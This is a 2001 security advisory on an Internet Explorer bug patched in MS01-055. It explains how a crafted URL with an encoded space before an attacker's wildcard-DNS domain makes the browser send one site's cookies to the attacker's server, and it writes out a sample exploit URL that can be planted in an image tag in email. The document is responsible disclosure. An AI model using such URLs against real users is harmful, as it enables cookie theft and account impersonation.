|
The patch for MS01-055 released today by Microsoft includes three
fixes. Two of them are for cookie stealing bugs. One of those
cookie stealing bugs was previously publicized on bugtraq, details on the
other are now available at http://alive.znep.com/~marcs/security/iecookie2/
This document is included in text format below. Check the above
URL for any updates.
Note that this bug does not require active scripting to exploit,
and can be exploited by simply by being able to put an IMG SRC tag
in a HTML (web based or otherwise) email. However it does require that
the attacker have control over a DNS server, which slightly raises the bar
for exploiting it.
----------------------------------------------------------------------
IE Cookie Exploit #2
Marc Slemko <marcs@znep.com>
Last Modified: $Date: 2001/11/15 04:39:47 $
$Revision: 1.6 $
Table of Contents
[1]Executive Summary
[2]What's New
[3]Background
[4]Details
[5]Example Exploit
Executive Summary
Cookies are often used to identify and authenticate users to a
website. If an attacker can steal a user's cookies, then they can
impersonate that user. The completeness of the impersonation and the
actions the attacker can perform as that user depend on how the
particular site uses the cookies.
This bug in Internet Explorer allows an attacker to, if he can
convince the user's browser to load a given URL, steal their cookies
for any given domain. It does not require that active scripting is
enabled in the browser, and can be done with something as simple as an
image tag, allowing for hassle free use in HTML email, web based email
services, etc.
I discovered another bug a year or so ago in IE, that has since been
patched, that has similar implications, although it did require active
scripting to exploit. Someone else discovered a similar bug around the
same time that the bug described in this document was discovered. I
would not be at all surprised if other bugs of this nature were found
in the future. When I discovered this bug, I decided to sit down and
look for a bug of this nature, and it only took me 15 minutes of
experimentation to find it. Why didn't Microsoft pro-actively audit
their code for such things, especially after similar bugs were found
in the past?
The take-away message is that cookies can be stolen. It is critical
that any application that depends on cookies does so with an
understanding of this fact, and takes appropriate measures to limit
the damage that can be done using stolen cookies.
What's New
* Current Status Summary: (last updated Wed Nov 14 19:02:38 PST
2001) Microsoft has [6]released a patch for this issue, along with
two other IE bugs. Patches for IE5.5 and IE6 are available.
* Wed Nov 14 2001: Microsoft released [7]a patch for this bug. Note
that despite what their FAQ says, IE 5.01 on Windows is vulnerable
to this bug (no patch available), based on my tests. Also note
that this bug does not require active scripting to exploit.
* Sat Oct 27 2001: I notified Microsoft about this bug and sent them
details on how to reproduce it.
Background
Cookies are the mechanism used by most websites to identify and
authenticate a user. If you can steal someone's cookies, you can trick
the server into thinking you are them. Exactly what this gains you
depends on the application and how it is designed. It may gain you
very little, or it may gain you a whole lot (eg. [8]Microsoft Passport
to Trouble). For more information about cookies, see [9]The Unofficial
Cookie FAQ.
Cookies are set with a specific hostname or a domain, so that they are
only sent to that host or domain, with an exception or two that I
won't go into here. They can also be set with a specific path, or with
the secure flag, which means they will only be sent if the connection
is a SSL connection. Normally, this should mean that only the server
that set the cookie, or others it is operating in cooperation with
(eg. in the same domain) can read it.
Internet Explorer has a bug that lets you bypass this protection and
steal cookies for any domain. This is quite similar (although
different behind the scenes) to a bug I found about a year ago, hence
the "#2".
Details
The details are very trivial. Why am I writing up this big document
anyway? Hmm. Loading a URL such as:
http://passport.com%20.sub.znep.com/cgi-bin/cookies
...will cause IE to connect to the hostname specified, but send the
cookies to the server based on the hostname before the "%20", in this
case passport.com. The "%20" is the URL encoded version of a space
character. "%20" isn't the only character that works, there are a
variety of others that are also misparsed.
For this to work, the hostname "passport.com .1005795014.sub.znep.com"
must be resolvable as a hostname by the client. In this case, I did
this by creating a wildcard A record for *.sub.znep.com, so any
hostname under sub.znep.com will get resolved to a particular IP
address. This attack does require that the attacker have access to
configure a DNS server in such a way, however gaining such access
anonymously or pseudo-anonymously is trivial.
Also note that this exploit will not work from behind some or most
proxies, since it results in IE generating a malformed request that
any HTTP server should feel free to reject. Some versions of Apache
will also reject requests when used as the cookie-stealing server due
to the malformed Host: header that gets generated. And, last but not
least, this attack does not appear to work to steal cookies with the
secure flag set.
Example Exploit
An example exploit [10]is available. Very straightforward. The
numerical part of the URL is not a critical part of the exploit, it is
there only to introduce some variance into the URL to avoid some odd
caching issues that pop up sometimes.
_________________________________________________________________
$Id: index.html,v 1.6 2001/11/15 04:39:47 marcs Exp marcs $
_________________________________________________________________
References
1. http://alive.znep.com/~marcs/security/iecookie2/index.html#executivesummary
2. http://alive.znep.com/~marcs/security/iecookie2/index.html#history
3. http://alive.znep.com/~marcs/security/iecookie2/index.html#background
4. http://alive.znep.com/~marcs/security/iecookie2/index.html#details
5. http://alive.znep.com/~marcs/security/iecookie2/index.html#example
6.
http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulle
tin/MS01-055.asp
7.
http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulle
tin/MS01-055.asp
8. http://alive.znep.com/~marcs/passport/
9. http://www.cookiecentral.com/faq/
10. http://alive.znep.com/~marcs/security/iecookie2/demo.html
|
